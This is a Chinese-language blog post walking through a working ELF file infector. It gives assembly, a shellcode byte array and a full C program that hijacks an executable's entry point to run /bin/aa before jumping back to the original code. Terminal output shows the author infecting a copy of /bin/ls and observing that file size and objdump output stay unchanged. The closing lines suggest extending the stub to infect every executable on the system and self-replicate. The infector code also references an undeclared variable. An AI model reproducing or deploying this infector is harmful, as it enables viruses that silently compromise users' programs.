前面的文章在介紹如何將代碼注入Linux內核模塊的時候,我提到 “修改ELF文件或者PE文件的入口,讓它跳到自己的邏輯”這件事很容易。
真的很容易嗎?是的,真的很容易。本文就是要演示這個的。
還記得熊貓燒香病毒吧,包括它在內的早期計算機病毒都是靠這種方式來注入自己的代碼並實現自我複製的,當然,它不一定修改的是入口地址,但肯定是修改了ELF/PE文件。
若想修改ELF文件,我們先要了解ELF文件的結構,這個只需要花10分鐘大致瀏覽即可,本文不會花篇幅介紹ELF的相關概念。
<elf.h>頭文件裏已經包含了足夠的數據結構和API供我們對ELF可執行文件進行修改,我們用就是了。
本文演示的例子很簡單,就是感染一個既有的LEF可執行文件,首先,我們先提供該可執行文件的代碼:
// hello.c
int main()
{
printf("aaaaaaaaaaaaa\n");
}
我們將它編譯成hello可執行文件。
接下來我們嘗試用另一個程序去修改它的入口,新的入口邏輯如下:
if (fork() == 0) {
exec("/bin/aa");
} else {
goto orig_entry;
}
我們肯定不能往ELF文件裏直接注入C代碼,就好像我們不能往血管裏注射拉麪湯一樣。所以我們必須得到上述邏輯的彙編指令碼。
如何得到指令碼呢?
我們手工把上面的C邏輯寫成內聯彙編,然後在編譯成可執行文件,通過objdump就能查到彙編指令碼:
void func()
{
asm ("xor %rax, %rax;\n"
"mov $0x39, %al;\n" // fork的系統調用號
"syscall; \n"
"test %eax, %eax;\n"
"je exec;\n"
"nop; nop; nop; nop; nop;\n" // jmp orig 的5字節佔位指令,運行時待定
"exec:\n"
"mov $0x61612f6e69622f, %r11;\n"
"push %r11\n;"
"mov $0x0, %edx;\n"
"mov $0x0, %rsi;\n"
"mov %rsp, %rdi;\n"
"mov $0x3b, %eax;\n" // 填入exec的系統調用號
"syscall;\n"
"orig:\n"
);
}
void main()
{
func();
}
編譯好後通過objdump -D我們可以得到下面的指令:
00000000004004cd <func>:
4004cd: 55 push %rbp
4004ce: 48 89 e5 mov %rsp,%rbp
4004d1: 48 31 c0 xor %rax,%rax
4004d4: b0 39 mov $0x39,%al
4004d6: 0f 05 syscall
4004d8: 85 c0 test %eax,%eax
4004da: 74 05 je 4004e1 <exec>
4004dc: 90 nop
4004dd: 90 nop
4004de: 90 nop
4004df: 90 nop
4004e0: 90 nop
00000000004004e1 <exec>:
4004e1: 49 bb 2f 62 69 6e 2f movabs $0x61612f6e69622f,%r11
4004e8: 61 61 00
4004eb: 41 53 push %r11
4004ed: ba 00 00 00 00 mov $0x0,%edx
4004f2: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
4004f9: 48 89 e7 mov %rsp,%rdi
4004fc: b8 3b 00 00 00 mov $0x3b,%eax
400501: 0f 05 syscall
OK,我們將其整理後,會得到下面的stub_code數組:
unsigned char stub_code[] =
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x39" // mov $0x39,%al
"\x0f\x05" // syscall
"\x85\xc0" // test %eax,%eax
"\x74\x05" // je 40070c <__FRAME_END__+0x14>
"\x00\x00\x00\x00\x00" // index is 11 // jmpq 400430 <_start>
"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00" // movabs $0x61612f6e69622f,%r11
"\x41\x53" // push %r11
"\xba\x00\x00\x00\x00" // mov $0x0,%edx
"\x48\xc7\xc6\x00\x00\x00\x00" // mov $0x0,%rsi
"\x48\x89\xe7" // mov %rsp,%rdi
"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax
"\x0f\x05"; // syscall
#define RELJMP 11
原材料已經準備好,就等着將上面的數組裏的字節碼注入到hello程序了。
在實施注入之前,說明兩點。
首先,注意上面的指令:
movabs $0x61612f6e69622f,%r11
push %r11
mov %rsp,%rdi
很明顯,按照x86_64的函數調用參數規範,rdi寄存器裏就是exec系統調用的第一個參數,即 “/bin/aa” ,但是exec的參數準備極其麻煩,且需要一個字符串,而我們知道,字符串是保存在ELF文件的單獨的節的,我不想那麼麻煩,再注入一個字符串,我只想注入一段代碼,僅僅是代碼,所以我這裏取了個巧:
// 我將字符串編碼到了一個long型的數字裏。
char name[8] = {'/', 'b', 'i', 'n', '/', 'a', 'a', 0};
char *pname;
unsigned long pv = *(unsigned long *)&name[0];
// 0x61612f6e69622f,即 aa/nib/,小端轉換爲/bin/aa
pname = (char *)&pv; // pname就是aa
同時,我利用了push來使得該long型數字的指針保存在rsp中,這樣只需要下面的操作,rdi寄存器裏就是exec的第一個參數了:
push %r11
mov %rsp,%rdi
如此一來,就省去了複雜的字符串的保存和操作。好玩嗎?在繼續之前,/bin/aa到底是什麼有必要揭露一下,它其實很簡單,就是打印一句話:
int main()
{
printf("rush tighten beat electric discourse\n"); // “趕緊打電話”的意思
}
我們希望的效果就是,所有被感染的程序(在我們的例子中,就是hello),在執行的時候,都會打印這麼一句“趕緊打電話”的句子。
OK,讓我們繼續。
是時候給出修改entry的代碼了,還是那句話,我不敢保證這個代碼完全沒有bug,但它足夠簡單,且能工作,爲了展示效果,簡單是最重要的。
代碼如下:
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <elf.h>
unsigned char stub_code[] =
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x39" // mov $0x39,%al
"\x0f\x05" // syscall
"\x85\xc0" // test %eax,%eax
"\x74\x05" // je 40070c <__FRAME_END__+0x14>
"\x00\x00\x00\x00\x00" // index is 11 // jmpq 400430 <_start>
"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00" // movabs $0x61612f6e69622f,%r11
"\x41\x53" // push %r11
"\xba\x00\x00\x00\x00" // mov $0x0,%edx
"\x48\xc7\xc6\x00\x00\x00\x00" // mov $0x0,%rsi
"\x48\x89\xe7" // mov %rsp,%rdi
"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax
"\x0f\x05"; // syscall
#define RELJMP 11
int main(int argc, char **argv)
{
int fd, i;
unsigned char *base;
unsigned int size, *off, offs;
unsigned long stub, orig;
unsigned long clen = sizeof(stub_code);
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdrs;
// 這就是一個e9 jmp rel32指令
stub_code[RELJMP] = 0xe9;
off = (unsigned int *)&stub_code[RELJMP + 1];
fd = open(argv[1], O_RDWR);
size = lseek(fd, 0, SEEK_END);
base = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
ehdr = (Elf64_Ehdr *) base;
phdrs = (Elf64_Phdr *) &base[ehdr->e_phoff];
shdrs = (Elf64_Shdr *) &base[ehdr->e_shoff];
orig = ehdr->e_entry;
for (i = 0; i < ehdr->e_phnum; ++i) {
if (phdrs[i].p_type == PT_LOAD && phdrs[i].p_flags == (PF_R|PF_X)) {
// 這裏假設只有簡單的一個可執行的程序頭
stub = phdrs[i].p_vaddr + phdrs[i].p_filesz;
ehdr->e_entry = (Elf64_Addr)stub;
// 爲了跳回原來的入口,這裏需要計算相對偏移
offs = orig - (stub + RELJMP) - 5;
// 待定的rel32終究被賦值了
*off = offs;
memcpy(base + phdrs[i].p_offset + phdrs[i].p_filesz, stub_code, clen);
printf("fsie:%d %08x\n", phdrs[i].p_filesz, ehdr->e_entry);
phdrs[i].p_filesz += clen;
phdrs[i].p_memsz += clen;
break;
}
}
munmap(base, size);
}
開始吧!來吧!
[root@localhost modentry]# cat test-1
gcc hello.c -o hello
gcc modelf.c -o modelf
./modelf ./hello
[root@localhost modentry]# ./test-1
hello.c: 在函數‘main’中:
hello.c:3:2: 警告:隱式聲明與內建函數‘printf’不兼容 [默認啓用]
printf("aaaaaaaaaaaaa\n");
^
fsie:1788 004006fc
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
rush tighten beat electric discourse
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
[root@localhost modentry]# rush tighten beat electric discourse
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
[root@localhost modentry]# rush tighten beat electric discourse
成功感染!
讓我們感染一個系統的命令看如何:
[root@localhost modentry]# cp /bin/ls ./
[root@localhost modentry]# ./modelf ./ls
fsie:103980 0041962c
[root@localhost modentry]# ./ls
hello hello.c ls modelf modelf.c nop pwd test-1
rush tighten beat electric discourse
成功感染!
我上面的感染代碼非常簡單,你可能覺得是錯的。沒錯,它就是錯的,因爲它寄希望於程序後面有空餘的空間,我甚至沒有修改section的大小和文件的大小,我們發現,在注入感染前後,文件的大小並沒有變化,而且還有更好 副作用 :
[root@localhost modentry]# /bin/ls
hello hello.c ls modelf modelf.c nop pwd test-1
[root@localhost modentry]# objdump -D /bin/ls >./lsdump1
[root@localhost modentry]# ./ls
hello hello.c ls lsdump1 modelf modelf.c nop pwd test-1
rush tighten beat electric discourse
[root@localhost modentry]# objdump -D ./ls >./lsdump2
[root@localhost modentry]#
[root@localhost modentry]# diff lsdump1 lsdump2
2c2
< /bin/ls: 文件格式 elf64-x86-64
---
> ./ls: 文件格式 elf64-x86-64
我們看到,其objdump的結果沒有任何區別。而如果我們把程序做完善了,反而更容易暴露,如果我在modelf.c中增加adjust sections size的操作,那麼可執行文件被感染之後,objdump的結果將會多出下面的內容:
00000000004006f8 <__FRAME_END__>:
4006f8: 00 00 add %al,(%rax)
4006fa: 00 00 add %al,(%rax)
4006fc: 48 31 c0 xor %rax,%rax
4006ff: b0 39 mov $0x39,%al
400701: 0f 05 syscall
400703: 85 c0 test %eax,%eax
400705: 74 05 je 40070c <__FRAME_END__+0x14>
400707: e9 24 fd ff ff jmpq 400430 <_start>
40070c: 49 bb 2f 62 69 6e 2f movabs $0x61612f6e69622f,%r11
400713: 61 61 00
400716: 41 53 push %r11
400718: ba 00 00 00 00 mov $0x0,%edx
40071d: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
400724: 48 89 e7 mov %rsp,%rdi
400727: b8 3b 00 00 00 mov $0x3b,%eax
40072c: 0f 05 syscall
仔細看,是不是我們注入的代碼呢?
最後,我要解釋一下,爲什麼要調用exec執行外部程序呢?直接把代碼灌進去不是更直接嗎?
是的,這個我肯定知道,但是:
- 這只是演示程序,我不想在單獨的stub_code裏搞得太複雜而失去可玩性。
- 由於entry處尚未初始化libc以及庫函數,因此調用printk可能會出現問題。
- 在stub_code裏做打印操作,會讓字節碼變得非常冗餘複雜。
然而,我的目標已經彰顯,如果不怕費事,完全可以在stub_code裏塞入下面的邏輯:
- 掃描系統所有的可執行文件,注入每一個可執行文件本文展示的代碼。
- 代碼添加自我複製功能。
爲經理下訂單,購買¥18000的皮鞋以及¥49800的西褲,貨到付款。
浙江溫州皮鞋溼,下雨進水不會胖。